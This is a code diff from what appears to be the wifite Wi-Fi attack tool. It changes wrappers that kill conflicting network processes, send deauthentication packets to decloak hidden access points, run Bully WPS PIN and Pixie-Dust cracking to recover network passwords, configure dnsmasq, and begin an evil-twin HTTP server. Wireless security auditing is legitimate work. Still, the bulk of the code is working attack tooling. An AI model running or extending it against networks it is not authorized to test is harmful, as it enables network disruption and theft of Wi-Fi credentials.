count = len(a.interfaces) count = len(a.interfaces)
@@ -237,63 +322,60 @@ class Airmon(object):
iface = a.get(choice) iface = a.get(choice)
if a.get(choice).name in mon_ifaces: if a.get(choice).interface in monitor_interfaces:
Color.pl('{+} {G}%s{W} is already in monitor mode' % iface.name) Color.pl('{+} {G}%s{W} is already in monitor mode' % iface.interface)
else: else:
iface.name = Airmon.start(iface) iface.interface = Airmon.start(iface)
return iface.name return iface.interface
@staticmethod @staticmethod
def terminate_conflicting_processes(): def terminate_conflicting_processes():
''' Deletes conflicting processes reported by airmon-ng ''' ''' Deletes conflicting processes reported by airmon-ng '''
''' airmon_output = Process(['airmon-ng', 'check']).stdout()
% airmon-ng check
Found 3 processes that could cause trouble. # Conflicting process IDs and names
If airodump-ng, aireplay-ng or airtun-ng stops working after pid_pnames = []
a short period of time, you may want to kill (some of) them!
-e
PID Name
2272 dhclient
2293 NetworkManager
3302 wpa_supplicant
'''
out = Process(['airmon-ng', 'check']).stdout() # 2272 dhclient
if 'processes that could cause trouble' not in out: # 2293 NetworkManager
# No proceses to kill pid_pname_re = re.compile(r'^\s*(\d+)\s*([a-zA-Z0-9_\-]+)\s*$')
for line in airmon_output.split('\n'):
match = pid_pname_re.match(line)
if match:
pid = match.group(1)
pname = match.group(2)
pid_pnames.append( (pid, pname) )
if len(pid_pnames) == 0:
return return
hit_pids = False
for line in out.split('\n'):
if re.search('^ *PID', line):
hit_pids = True
continue
if not hit_pids or line.strip() == '':
continue
match = re.search('^[ \t]*(\d+)[ \t]*([a-zA-Z0-9_\-]+)[ \t]*$', line)
if match:
# Found process
pid = match.groups()[0]
pname = match.groups()[1]
if Configuration.kill_conflicting_processes:
Color.pl('{!} {R}terminating {O}conflicting process {R}%s{O} (PID {R}%s{O})' % (pname, pid))
os.kill(int(pid), signal.SIGTERM)
if pname == 'NetworkManager':
Airmon.killed_network_manager= True
else:
Color.pl('{!} {O}conflicting process: {R}%s{O} (PID {R}%s{O})' % (pname, pid))
if not Configuration.kill_conflicting_processes: if not Configuration.kill_conflicting_processes:
Color.pl('{!} {O}if you have problems, try killing these processes ({R}kill -9 PID{O}){W}') # Don't kill processes, warn user
for pid, pname in pid_pnames:
Color.pl('{!} {O}conflicting process: {R}%s{O} (PID {R}%s{O})' % (pname, pid))
Color.pl('{!} {O}if you have problems: {R}kill -9 PID{O} or re-run wifite with {R}--kill{O}){W}')
return
Color.pl('{!} {O}killing {R}%d {O}conflicting processes' % len(pid_pnames))
for pid, pname in pid_pnames:
if pname == 'NetworkManager' and Process.exists('service'):
Color.pl('{!} {O}stopping network-manager ({R}service network-manager stop{O})')
# Can't just pkill network manager; it's a service
Process(['service', 'network-manager', 'stop']).wait()
Airmon.killed_network_manager = True
else:
Color.pl('{!} {R}terminating {O}conflicting process {R}%s{O} (PID {R}%s{O})' % (pname, pid))
os.kill(int(pid), signal.SIGTERM)
@staticmethod @staticmethod
def put_interface_up(iface): def put_interface_up(iface):
Color.p("{!} {O}putting interface {R}%s up{O}..." % (iface)) Color.p("{!} {O}putting interface {R}%s up{O}..." % (iface))
(out,err) = Process.call('ifconfig %s up' % (iface)) Ifconfig.up(iface)
Color.pl(" {R}done{W}") Color.pl(" {G}done{W}")
@staticmethod @staticmethod
def start_network_manager(): def start_network_manager():
@@ -332,4 +414,7 @@ class Airmon(object):
if __name__ == '__main__': if __name__ == '__main__':
Airmon.terminate_conflicting_processes() Airmon.terminate_conflicting_processes()
iface = Airmon.ask() iface = Airmon.ask()
Airmon.stop(iface) (disabled_iface, enabled_iface) = Airmon.stop(iface)
print("Disabled:", disabled_iface)
print("Enabled:", enabled_iface)

View File

@@ -1,6 +1,7 @@
#!/usr/bin/python2.7 #!/usr/bin/python2.7
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from .dependency import Dependency
from .tshark import Tshark from .tshark import Tshark
from .wash import Wash from .wash import Wash
from ..util.process import Process from ..util.process import Process
@@ -10,15 +11,16 @@ from ..model.client import Client
import os, time import os, time
class Airodump(object): class Airodump(Dependency):
''' Wrapper around airodump-ng program ''' ''' Wrapper around airodump-ng program '''
dependency_required = True
dependency_name = 'airodump-ng'
dependency_url = 'https://www.aircrack-ng.org/install.html'
def __init__(self, interface=None, channel=None, encryption=None,\ def __init__(self, interface=None, channel=None, encryption=None,\
wps=False, target_bssid=None, output_file_prefix='airodump',\ wps=False, target_bssid=None, output_file_prefix='airodump',\
ivs_only=False, skip_wps=False): ivs_only=False, skip_wps=False, delete_existing_files=True):
''' '''Sets up airodump arguments, doesn't start process yet.'''
Sets up airodump arguments, doesn't start process yet
'''
Configuration.initialize() Configuration.initialize()
@@ -45,17 +47,20 @@ class Airodump(object):
# For tracking decloaked APs (previously were hidden) # For tracking decloaked APs (previously were hidden)
self.decloaking = False self.decloaking = False
self.decloaked_targets = [] self.decloaked_bssids = set()
self.decloaked_times = {} # Map of BSSID(str) -> epoch(int) of last deauth self.decloaked_times = {} # Map of BSSID(str) -> epoch(int) of last deauth
self.delete_existing_files = delete_existing_files
def __enter__(self): def __enter__(self):
''' '''
Setting things up for this context. Setting things up for this context.
Called at start of 'with Airodump(...) as x:' Called at start of 'with Airodump(...) as x:'
Actually starts the airodump process. Actually starts the airodump process.
''' '''
self.delete_airodump_temp_files() if self.delete_existing_files:
self.delete_airodump_temp_files(self.output_file_prefix)
self.csv_file_prefix = Configuration.temp() + self.output_file_prefix self.csv_file_prefix = Configuration.temp() + self.output_file_prefix
@@ -67,22 +72,15 @@ class Airodump(object):
'-w', self.csv_file_prefix, # Output file prefix '-w', self.csv_file_prefix, # Output file prefix
'--write-interval', '1' # Write every second '--write-interval', '1' # Write every second
] ]
if self.channel: if self.channel: command.extend(['-c', str(self.channel)])
command.extend(['-c', str(self.channel)]) elif self.five_ghz: command.extend(['--band', 'a'])
elif self.five_ghz:
command.extend(['--band', 'a'])
if self.encryption: if self.encryption: command.extend(['--enc', self.encryption])
command.extend(['--enc', self.encryption]) if self.wps: command.extend(['--wps'])
if self.wps: if self.target_bssid: command.extend(['--bssid', self.target_bssid])
command.extend(['--wps'])
if self.target_bssid:
command.extend(['--bssid', self.target_bssid])
if self.ivs_only: if self.ivs_only: command.extend(['--output-format', 'ivs,csv'])
command.extend(['--output-format', 'ivs,csv']) else: command.extend(['--output-format', 'pcap,csv'])
else:
command.extend(['--output-format', 'pcap,csv'])
# Start the process # Start the process
self.pid = Process(command, devnull=True) self.pid = Process(command, devnull=True)
@@ -91,32 +89,41 @@ class Airodump(object):
def __exit__(self, type, value, traceback): def __exit__(self, type, value, traceback):
''' '''
Tearing things down since the context is being exited. Tearing things down since the context is being exited.
Called after 'with Airodump(...)' goes out of scope. Called after 'with Airodump(...)' goes out of scope.
''' '''
# Kill the process # Kill the process
self.pid.interrupt() self.pid.interrupt()
# Delete temp files if self.delete_existing_files:
self.delete_airodump_temp_files() self.delete_airodump_temp_files(self.output_file_prefix)
def find_files(self, endswith=None): def find_files(self, endswith=None):
return self.find_files_by_output_prefix(self.output_file_prefix, endswith=endswith)
@classmethod
def find_files_by_output_prefix(cls, output_file_prefix, endswith=None):
''' Finds all files in the temp directory that start with the output_file_prefix ''' ''' Finds all files in the temp directory that start with the output_file_prefix '''
result = [] result = []
for fil in os.listdir(Configuration.temp()): temp = Configuration.temp()
if fil.startswith(self.output_file_prefix): for fil in os.listdir(temp):
if not endswith or fil.endswith(endswith): if not fil.startswith(output_file_prefix):
result.append(Configuration.temp() + fil) continue
if endswith is None or fil.endswith(endswith):
result.append(os.path.join(temp, fil))
return result return result
def delete_airodump_temp_files(self): @classmethod
def delete_airodump_temp_files(cls, output_file_prefix):
''' '''
Deletes airodump* files in the temp directory. Deletes airodump* files in the temp directory.
Also deletes replay_*.cap and *.xor files in pwd. Also deletes replay_*.cap and *.xor files in pwd.
''' '''
# Remove all temp files # Remove all temp files
for fil in self.find_files(): for fil in cls.find_files_by_output_prefix(output_file_prefix):
os.remove(fil) os.remove(fil)
# Remove .cap and .xor files from pwd # Remove .cap and .xor files from pwd
@@ -124,20 +131,24 @@ class Airodump(object):
if fil.startswith('replay_') and fil.endswith('.cap') or fil.endswith('.xor'): if fil.startswith('replay_') and fil.endswith('.cap') or fil.endswith('.xor'):
os.remove(fil) os.remove(fil)
# Remove replay/cap/xor files from temp
temp_dir = Configuration.temp()
for fil in os.listdir(temp_dir):
if fil.startswith('replay_') and fil.endswith('.cap') or fil.endswith('.xor'):
os.remove(os.path.join(temp_dir, fil))
def get_targets(self, apply_filter=True): def get_targets(self, apply_filter=True):
''' Parses airodump's CSV file, returns list of Targets ''' ''' Parses airodump's CSV file, returns list of Targets '''
# Find the .CSV file # Find the .CSV file
csv_filename = None csv_filename = None
for fil in self.find_files(endswith='-01.csv'): for fil in self.find_files(endswith='.csv'):
# Found the file csv_filename = fil # Found the file
csv_filename = fil
break break
if csv_filename is None or not os.path.exists(csv_filename):
# No file found
return self.targets
# Parse the .CSV file if csv_filename is None or not os.path.exists(csv_filename):
return self.targets # No file found
targets = Airodump.get_targets_from_csv(csv_filename) targets = Airodump.get_targets_from_csv(csv_filename)
# Check targets for WPS # Check targets for WPS
@@ -156,12 +167,16 @@ class Airodump(object):
# Sort by power # Sort by power
targets.sort(key=lambda x: x.power, reverse=True) targets.sort(key=lambda x: x.power, reverse=True)
# Identify decloaked targets
for old_target in self.targets: for old_target in self.targets:
for new_target in targets: for new_target in targets:
if old_target.bssid != new_target.bssid: continue if old_target.bssid != new_target.bssid:
continue
if new_target.essid_known and not old_target.essid_known: if new_target.essid_known and not old_target.essid_known:
# We decloaked a target! # We decloaked a target!
self.decloaked_targets.append(new_target) new_target.decloaked = True
self.decloaked_bssids.add(new_target.bssid)
if self.pid.poll() is not None: if self.pid.poll() is not None:
raise Exception('Airodump has stopped') raise Exception('Airodump has stopped')
@@ -174,9 +189,7 @@ class Airodump(object):
@staticmethod @staticmethod
def get_targets_from_csv(csv_filename): def get_targets_from_csv(csv_filename):
''' '''Returns list of Target objects parsed from CSV file.'''
Returns list of Target objects parsed from CSV file
'''
targets = [] targets = []
import csv import csv
with open(csv_filename, 'rb') as csvopen: with open(csv_filename, 'rb') as csvopen:
@@ -185,7 +198,11 @@ class Airodump(object):
if type(line) is bytes: line = line.decode('utf-8') if type(line) is bytes: line = line.decode('utf-8')
line = line.replace('\0', '') line = line.replace('\0', '')
lines.append(line) lines.append(line)
csv_reader = csv.reader(lines, delimiter=',') csv_reader = csv.reader(lines,
delimiter=',',
quoting=csv.QUOTE_ALL,
skipinitialspace=True,
escapechar='\\')
hit_clients = False hit_clients = False
for row in csv_reader: for row in csv_reader:
@@ -237,6 +254,8 @@ class Airodump(object):
result = [] result = []
# Filter based on Encryption # Filter based on Encryption
for target in targets: for target in targets:
if Configuration.clients_only and len(target.clients) == 0:
continue
if 'WEP' in Configuration.encryption_filter and 'WEP' in target.encryption: if 'WEP' in Configuration.encryption_filter and 'WEP' in target.encryption:
result.append(target) result.append(target)
elif 'WPA' in Configuration.encryption_filter and 'WPA' in target.encryption: elif 'WPA' in Configuration.encryption_filter and 'WPA' in target.encryption:
@@ -263,16 +282,16 @@ class Airodump(object):
def deauth_hidden_targets(self): def deauth_hidden_targets(self):
''' '''
Sends deauths (to broadcast and to each client) for all Sends deauths (to broadcast and to each client) for all
targets (APs) that have unknown ESSIDs (hidden router names). targets (APs) that have unknown ESSIDs (hidden router names).
''' '''
self.decloaking = False self.decloaking = False
# Do not deauth if requested if Configuration.no_deauth:
if Configuration.no_deauth: return return # Do not deauth if requested
# Do not deauth if channel is not fixed. if self.channel is None:
if self.channel is None: return return # Do not deauth if channel is not fixed.
# Reusable deauth command # Reusable deauth command
deauth_cmd = [ deauth_cmd = [
@@ -281,22 +300,27 @@ class Airodump(object):
str(Configuration.num_deauths), # Number of deauth packets to send str(Configuration.num_deauths), # Number of deauth packets to send
'--ignore-negative-one' '--ignore-negative-one'
] ]
for target in self.targets: for target in self.targets:
if target.essid_known: continue if target.essid_known:
continue
now = int(time.time()) now = int(time.time())
secs_since_decloak = now - self.decloaked_times.get(target.bssid, 0) secs_since_decloak = now - self.decloaked_times.get(target.bssid, 0)
# Decloak every AP once every 30 seconds
if secs_since_decloak < 30: continue if secs_since_decloak < 30:
continue # Decloak every AP once every 30 seconds
self.decloaking = True self.decloaking = True
self.decloaked_times[target.bssid] = now self.decloaked_times[target.bssid] = now
if Configuration.verbose > 1: if Configuration.verbose > 1:
from ..util.color import Color from ..util.color import Color
verbout = " [?] Deauthing %s" % target.bssid Color.pe('{C} [?] Deauthing %s (broadcast & %d clients){W}' % (target.bssid, len(target.clients)))
verbout += " (broadcast & %d clients)" % len(target.clients)
Color.pe("\n{C}" + verbout + "{W}")
# Deauth broadcast # Deauth broadcast
iface = Configuration.interface iface = Configuration.interface
Process(deauth_cmd + ['-a', target.bssid, iface]) Process(deauth_cmd + ['-a', target.bssid, iface])
# Deauth clients # Deauth clients
for client in target.clients: for client in target.clients:
Process(deauth_cmd + ['-a', target.bssid, '-c', client.bssid, iface]) Process(deauth_cmd + ['-a', target.bssid, '-c', client.bssid, iface])
@@ -315,4 +339,3 @@ if __name__ == '__main__':
Color.pl(' {G}%s %s' % (str(idx).rjust(3), target.to_str())) Color.pl(' {G}%s %s' % (str(idx).rjust(3), target.to_str()))
Configuration.delete_temp() Configuration.delete_temp()

View File

@@ -1,9 +1,10 @@
#!/usr/bin/python2.7 #!/usr/bin/python2.7
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from .dependency import Dependency
from .airodump import Airodump
from ..model.attack import Attack from ..model.attack import Attack
from ..model.wps_result import CrackResultWPS from ..model.wps_result import CrackResultWPS
from ..tools.airodump import Airodump
from ..util.color import Color from ..util.color import Color
from ..util.timer import Timer from ..util.timer import Timer
from ..util.process import Process from ..util.process import Process
@@ -12,13 +13,17 @@ from ..config import Configuration
import os, time, re import os, time, re
from threading import Thread from threading import Thread
class Bully(Attack): class Bully(Attack, Dependency):
dependency_required = False
dependency_name = 'bully'
dependency_url = 'https://github.com/aanarchyy/bully'
def __init__(self, target): def __init__(self, target):
super(Bully, self).__init__(target) super(Bully, self).__init__(target)
self.consecutive_lockouts = self.consecutive_timeouts = self.consecutive_noassoc = 0 self.total_timeouts = 0
self.pins_attempted = 0 self.total_failures = 0
self.locked = False
self.state = "{O}Waiting for beacon{W}" self.state = "{O}Waiting for beacon{W}"
self.m_state = None
self.start_time = time.time() self.start_time = time.time()
self.cracked_pin = self.cracked_key = self.cracked_bssid = self.cracked_essid = None self.cracked_pin = self.cracked_key = self.cracked_bssid = self.cracked_essid = None
@@ -46,8 +51,6 @@ class Bully(Attack):
self.bully_proc = None self.bully_proc = None
def attack_type(self):
return "Pixie-Dust"
def run(self): def run(self):
with Airodump(channel=self.target.channel, with Airodump(channel=self.target.channel,
@@ -55,11 +58,7 @@ class Bully(Attack):
skip_wps=True, skip_wps=True,
output_file_prefix='wps_pin') as airodump: output_file_prefix='wps_pin') as airodump:
# Wait for target # Wait for target
Color.clear_entire_line() self.pattack("Waiting for target to appear...")
Color.pattack("WPS",
self.target,
self.attack_type(),
"Waiting for target to appear...")
self.target = self.wait_for_target(airodump) self.target = self.wait_for_target(airodump)
# Start bully # Start bully
@@ -67,27 +66,42 @@ class Bully(Attack):
stderr=Process.devnull(), stderr=Process.devnull(),
bufsize=0, bufsize=0,
cwd=Configuration.temp()) cwd=Configuration.temp())
# Start bully status thread
t = Thread(target=self.parse_line_thread) t = Thread(target=self.parse_line_thread)
t.daemon = True t.daemon = True
t.start() t.start()
try: try:
while self.bully_proc.poll() is None: while self.bully_proc.poll() is None:
try: try:
self.target = self.wait_for_target(airodump) self.target = self.wait_for_target(airodump)
except Exception as e: except Exception as e:
Color.clear_entire_line() self.pattack('{R}Failed: {O}%s{W}' % e, newline=True)
Color.pattack("WPS",
self.target,
self.attack_type(),
"{R}failed: {O}%s{W}" % e)
Color.pl("")
self.stop() self.stop()
break break
Color.clear_entire_line()
Color.pattack("WPS", # Update status
self.target, self.pattack(self.get_status())
self.attack_type(),
self.get_status()) # Check if entire attack timed out.
if self.running_time() > Configuration.wps_pixie_timeout:
self.pattack('{R}Failed: {O}Timeout after %d seconds{W}' % Configuration.wps_pixie_timeout, newline=True)
self.stop()
return
# Check if timeout threshold was breached
if self.total_timeouts >= Configuration.wps_timeout_threshold:
self.pattack('{R}Failed: {O}More than %d timeouts{W}' % Configuration.wps_timeout_threshold, newline=True)
self.stop()
return
# Check if WPSFail threshold was breached
if self.total_failures >= Configuration.wps_fail_threshold:
self.pattack('{R}Failed: {O}More than %d WPSFails{W}' % Configuration.wps_fail_threshold, newline=True)
self.stop()
return
time.sleep(0.5) time.sleep(0.5)
except KeyboardInterrupt as e: except KeyboardInterrupt as e:
self.stop() self.stop()
@@ -97,111 +111,97 @@ class Bully(Attack):
raise e raise e
if self.crack_result is None: if self.crack_result is None:
Color.clear_entire_line() self.pattack("{R}Failed{W}", newline=True)
Color.pattack("WPS",
self.target,
self.attack_type(), def pattack(self, message, newline=False):
"{R}Failed{W}\n") # Print message with attack information.
time_left = Configuration.wps_pixie_timeout - self.running_time()
Color.clear_entire_line()
Color.pattack("WPS",
self.target,
'Pixie-Dust',
'{W}[{C}%s{W}] %s' % (Timer.secs_to_str(time_left), message))
if newline:
Color.pl("")
def running_time(self): def running_time(self):
return int(time.time() - self.start_time) return int(time.time() - self.start_time)
def get_status(self): def get_status(self):
result = self.state main_status = self.state
result += " ({C}runtime:%s{W}" % Timer.secs_to_str(self.running_time())
result += " {G}tries:%d{W}" % self.pins_attempted meta_statuses = []
result += " {O}failures:%d{W}" % (self.consecutive_timeouts + self.consecutive_noassoc) if self.total_timeouts > 0:
result += " {R}lockouts:%d{W}" % self.consecutive_lockouts meta_statuses.append("{O}Timeouts:%d{W}" % self.total_timeouts)
result += ")"
return result if self.total_failures > 0:
meta_statuses.append("{O}WPSFail:%d{W}" % self.total_failures)
if self.locked:
meta_statuses.append("{R}Locked{W}")
if len(meta_statuses) > 0:
main_status += ' (%s)' % ', '.join(meta_statuses)
return main_status
def parse_line_thread(self): def parse_line_thread(self):
for line in iter(self.bully_proc.pid.stdout.readline, b""): for line in iter(self.bully_proc.pid.stdout.readline, b""):
if line == "": continue if line == "": continue
line = line.replace("\r", "").replace("\n", "").strip() line = line.replace("\r", "").replace("\n", "").strip()
if self.parse_line(line): break # Cracked
def parse_line(self, line): if Configuration.verbose > 1:
# [+] Got beacon for 'Green House 5G' (30:85:a9:39:d2:1c) Color.pe('\n{P} [bully:stdout] %s' % line)
got_beacon = re.search(r".*Got beacon for '(.*)' \((.*)\)", line)
if got_beacon:
# group(1)=ESSID, group(2)=BSSID
self.state = "Got beacon"
# [+] Last State = 'NoAssoc' Next pin '48855501' self.state = self.parse_state(line)
last_state = re.search(r".*Last State = '(.*)'\s*Next pin '(.*)'", line)
if last_state:
# group(1)=result, group(2)=PIN
result = "Start" # last_state.group(1)
pin = last_state.group(2)
self.state = "Trying PIN:{C}%s{W}" % pin
# [+] Rx( M5 ) = 'Pin1Bad' Next pin '35565505' self.crack_result = self.parse_crack_result(line)
# [+] Tx( Auth ) = 'Timeout' Next pin '80241263'
rx_m = re.search(r".*[RT]x\(\s*(.*)\s*\) = '(.*)'\s*Next pin '(.*)'", line)
if rx_m:
# group(1)=M3/M5, group(2)=result, group(3)=PIN
self.m_state = rx_m.group(1)
result = rx_m.group(2) # NoAssoc, WPSFail, Pin1Bad, Pin2Bad
if result in ["Pin1Bad", "Pin2Bad"]:
self.pins_attempted += 1
self.consecutive_lockouts = 0 # Reset lockout count
self.consecutive_timeouts = 0 # Reset timeout count
self.consecutive_noassoc = 0 # Reset timeout count
result = "{G}%s{W}" % result
elif result == "Timeout":
self.consecutive_timeouts += 1
result = "{O}%s{W}" % result
elif result == "NoAssoc":
self.consecutive_noassoc += 1
result = "{O}%s{W}" % result
else:
result = "{R}%s{W}" % result
pin = rx_m.group(3)
self.state = "Trying PIN:{C}%s{W} (%s)" % (pin, result)
# [!] WPS lockout reported, sleeping for 43 seconds ... if self.crack_result:
lock_out = re.search(r".*WPS lockout reported, sleeping for (\d+) seconds", line) break
if lock_out:
sleeping = lock_out.group(1)
self.state = "{R}WPS Lock-out: {O}Waiting %s seconds{W}" % sleeping
self.consecutive_lockouts += 1
# [Pixie-Dust] WPS pin not found
pixie_re = re.search(r".*\[Pixie-Dust\] WPS pin not found", line)
if pixie_re:
self.state = "{R}Failed{W}"
# [+] Running pixiewps with the information, wait ... def parse_crack_result(self, line):
pixie_re = re.search(r".*Running pixiewps with the information", line) # Check for line containing PIN and PSK
if pixie_re:
self.state = "{G}Running pixiewps...{W}"
# [*] Pin is '80246213', key is 'password' # [*] Pin is '80246213', key is 'password'
# [*] Pin is '11867722', key is '9a6f7997'
pin_key_re = re.search(r"Pin is '(\d*)', key is '(.*)'", line) pin_key_re = re.search(r"Pin is '(\d*)', key is '(.*)'", line)
if pin_key_re: if pin_key_re:
self.cracked_pin = pin_key_re.group(1) self.cracked_pin = pin_key_re.group(1)
self.cracked_key = pin_key_re.group(2) self.cracked_key = pin_key_re.group(2)
# PIN : '80246213' ###############
pin_re = re.search(r"^\s*PIN\s*:\s*'(.*)'\s*$", line) # Check for PIN
if pin_re: if self.cracked_pin is None:
self.cracked_pin = pin_re.group(1) # PIN : '80246213'
pin_re = re.search(r"^\s*PIN\s*:\s*'(.*)'\s*$", line)
if pin_re:
self.cracked_pin = pin_re.group(1)
# [Pixie-Dust] PIN FOUND: 01030365
pin_re = re.search(r"^\[Pixie-Dust\] PIN FOUND: '?(\d*)'?\s*$", line)
if pin_re:
self.cracked_pin = pin_re.group(1)
if self.cracked_pin is not None:
# Mention the PIN & that we're not done yet.
self.pattack("{G}Cracked PIN: {C}%s{W}" % self.cracked_pin, newline=True)
self.state = "{G}Finding PSK...{C}"
time.sleep(2)
###########################
# KEY : 'password' # KEY : 'password'
key_re = re.search(r"^\s*KEY\s*:\s*'(.*)'\s*$", line) key_re = re.search(r"^\s*KEY\s*:\s*'(.*)'\s*$", line)
if key_re: if key_re:
self.cracked_key = key_re.group(1) self.cracked_key = key_re.group(1)
#warn_re = re.search(r"\[\!\]\s*(.*)$", line)
#if warn_re: self.state = "{O}%s{W}" % warn_re.group(1)
if not self.crack_result and self.cracked_pin and self.cracked_key: if not self.crack_result and self.cracked_pin and self.cracked_key:
Color.clear_entire_line() self.pattack("{G}Cracked PSK: {C}%s{W}" % self.cracked_key, newline=True)
Color.pattack("WPS", self.target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}")
Color.pl("")
self.crack_result = CrackResultWPS( self.crack_result = CrackResultWPS(
self.target.bssid, self.target.bssid,
self.target.essid, self.target.essid,
@@ -209,19 +209,81 @@ class Bully(Attack):
self.cracked_key) self.cracked_key)
Color.pl("") Color.pl("")
self.crack_result.dump() self.crack_result.dump()
return True
else: return self.crack_result
return False
def parse_state(self, line):
state = self.state
# [+] Got beacon for 'Green House 5G' (30:85:a9:39:d2:1c)
got_beacon = re.search(r".*Got beacon for '(.*)' \((.*)\)", line)
if got_beacon:
# group(1)=ESSID, group(2)=BSSID
state = "Got beacon"
# [+] Last State = 'NoAssoc' Next pin '48855501'
last_state = re.search(r".*Last State = '(.*)'\s*Next pin '(.*)'", line)
if last_state:
# group(1)=result, group(2)=PIN
pin = last_state.group(2)
state = "Trying PIN {C}%s{W} (%s)" % (pin, last_state.group(1))
# [+] Tx( Auth ) = 'Timeout' Next pin '80241263'
mx_result_pin = re.search(r".*[RT]x\(\s*(.*)\s*\) = '(.*)'\s*Next pin '(.*)'", line)
if mx_result_pin:
self.locked = False
# group(1)=M3/M5, group(2)=result, group(3)=PIN
m_state = mx_result_pin.group(1)
result = mx_result_pin.group(2) # NoAssoc, WPSFail, Pin1Bad, Pin2Bad
pin = mx_result_pin.group(3)
if result == "Timeout":
self.total_timeouts += 1
result = "{O}%s{W}" % result
elif result == "WPSFail":
self.total_failures += 1
result = "{O}%s{W}" % result
elif result == "NoAssoc":
result = "{O}%s{W}" % result
else:
result = "{R}%s{W}" % result
result = "{P}%s{W}:%s" % (m_state.strip(), result.strip())
state = "Trying PIN {C}%s{W} (%s)" % (pin, result)
# [!] WPS lockout reported, sleeping for 43 seconds ...
re_lockout = re.search(r".*WPS lockout reported, sleeping for (\d+) seconds", line)
if re_lockout:
self.locked = True
sleeping = re_lockout.group(1)
state = "{R}WPS Lock-out: {O}Waiting %s seconds{W}" % sleeping
# [Pixie-Dust] WPS pin not found
re_pin_not_found = re.search(r".*\[Pixie-Dust\] WPS pin not found", line)
if re_pin_not_found:
state = "{R}Failed: {O}Bully says 'WPS pin not found'{W}"
# [+] Running pixiewps with the information, wait ...
re_running_pixiewps = re.search(r".*Running pixiewps with the information", line)
if re_running_pixiewps:
state = "{G}Running pixiewps...{W}"
return state
def stop(self): def stop(self):
if hasattr(self, "pid") and self.pid and self.pid.poll() is None: if hasattr(self, "pid") and self.pid and self.pid.poll() is None:
self.pid.interrupt() self.pid.interrupt()
def __del__(self): def __del__(self):
self.stop() self.stop()
@staticmethod @staticmethod
def get_psk_from_pin(target, pin): def get_psk_from_pin(target, pin):
# Fetches PSK from a Target assuming "pin" is the correct PIN
''' '''
bully --channel 1 --bssid 34:21:09:01:92:7C --pin 01030365 --bruteforce wlan0mon bully --channel 1 --bssid 34:21:09:01:92:7C --pin 01030365 --bruteforce wlan0mon
PIN : '01030365' PIN : '01030365'
@@ -229,8 +291,6 @@ class Bully(Attack):
BSSID : '34:21:09:01:92:7c' BSSID : '34:21:09:01:92:7c'
ESSID : 'AirLink89300' ESSID : 'AirLink89300'
''' '''
Color.pl('\n{+} found PIN: {G}%s{W}' % pin)
Color.p('{+} fetching {C}PSK{W} using {C}bully{W}... ')
cmd = [ cmd = [
'bully', 'bully',
'--channel', target.channel, '--channel', target.channel,
@@ -247,12 +307,11 @@ class Bully(Attack):
key_re = re.search(r"^\s*KEY\s*:\s*'(.*)'\s*$", line) key_re = re.search(r"^\s*KEY\s*:\s*'(.*)'\s*$", line)
if key_re is not None: if key_re is not None:
psk = key_re.group(1) psk = key_re.group(1)
Color.pl('{W}found PSK: {G}%s{W}' % psk)
return psk return psk
Color.pl('{R}failed{W}')
return None return None
if __name__ == '__main__': if __name__ == '__main__':
Configuration.initialize() Configuration.initialize()
Configuration.interface = 'wlan0mon' Configuration.interface = 'wlan0mon'

View File

@@ -0,0 +1,33 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
class Dependency(object):
required_attr_names = ['dependency_name', 'dependency_url', 'dependency_required']
# https://stackoverflow.com/a/49024227
def __init_subclass__(cls):
for attr_name in cls.required_attr_names:
if not attr_name in cls.__dict__:
raise NotImplementedError(
"Attribute '{}' has not been overriden in class '{}'" \
.format(attr_name, cls.__name__)
)
@classmethod
def fails_dependency_check(cls):
from ..util.color import Color
from ..util.process import Process
if Process.exists(cls.dependency_name):
return False
if cls.dependency_required:
Color.pl('{!} {R}error: required app {O}%s{R} was not found' % cls.dependency_name)
Color.pl(' {W}install @ {C}%s{W}' % cls.dependency_url)
return True
else:
Color.pl('{!} {O}warning: recommended app {R}%s{O} was not found' % cls.dependency_name)
Color.pl(' {W}install @ {C}%s{W}' % cls.dependency_url)
return False

71
wifite/tools/dnsmasq.py Executable file
View File

@@ -0,0 +1,71 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
import os
from .dependency import Dependency
from ..util.process import Process
from ..config import Configuration
class Dnsmasq(Dependency):
'''Wrapper for dnsmasq program.'''
dependency_required = False
dependency_name = 'dnsmasq'
dependency_url = 'apt-get install dnsmasq'
def __init__(self, interface):
self.interface = interface
self.pid = None
self.config_file = None
def create_config_file(self):
self.config_file = os.path.join(Configuration.temp(), 'dnsmasq.conf')
if os.path.exists(self.config_file):
os.remove(self.config_file)
with open(self.config_file, 'w') as config:
config.write('interface={}\n'.format(self.interface))
config.write('dhcp-range=10.0.0.10,10.0.0.100,8h\n')
config.write('dhcp-option=3,10.0.0.1\n')
config.write('dhcp-option=6,10.0.0.1\n')
config.write('server=8.8.8.8\n')
config.write('log-queries\n')
config.write('log-dhcp\n')
def start(self):
self.create_config_file()
# Stop already-running dnsmasq process
self.killall()
# Start new dnsmasq process
self.pid = Process([
'dnsmasq',
'-C', self.config_file
])
def stop(self):
# Kill dnsmasq process
if self.pid and self.pid.poll() is not None:
self.pid.interrupt()
self.killall()
if self.config_file and os.path.exists(self.config_file):
os.remove(self.config_file)
def killall(self):
Process(['killall', 'dnsmasq']).wait()
# TODO: Wait until dnsmasq is completely stopped.
def check(self):
if self.pid.poll() is not None:
raise Exception('dnsmasq stopped running, exit code: %d, output: %s' % (self.pid.poll(), self.pid.stdout()))
# TODO: Check logs/output for problems

View File

@@ -0,0 +1,84 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
from threading import Thread
class EviltwinServer(HTTPServer, object):
def __init__(self, success_callback, error_callback, port=80):
self.thread = None
# Store state in server
self.success_callback = success_callback
self.error_callback = error_callback
self.request_count = 0
self.router_pages_served = 0
# Initialize with our request handler
super(EviltwinServer, self).__init__(('', port), EviltwinRequestHandler)
def start(self):
self.thread = Thread(target=self.serve_forever)
self.thread.start()
def stop(self):
# From https://stackoverflow.com/a/268686
self.shutdown()
self.socket.close()
if self.thread:
self.thread.join()
def request_count(self):
return self.request_count
def router_pages_served(self):
return self.router_pages_served
class EviltwinRequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.server.request_count += 1
request_path = self.path
# TODO: URL mappings to load specific pages. E.g. Apple/Android "pings"
print('\n----- Request Start ----->\n')
print(request_path)
print(self.headers)
print('<----- Request End -----\n')
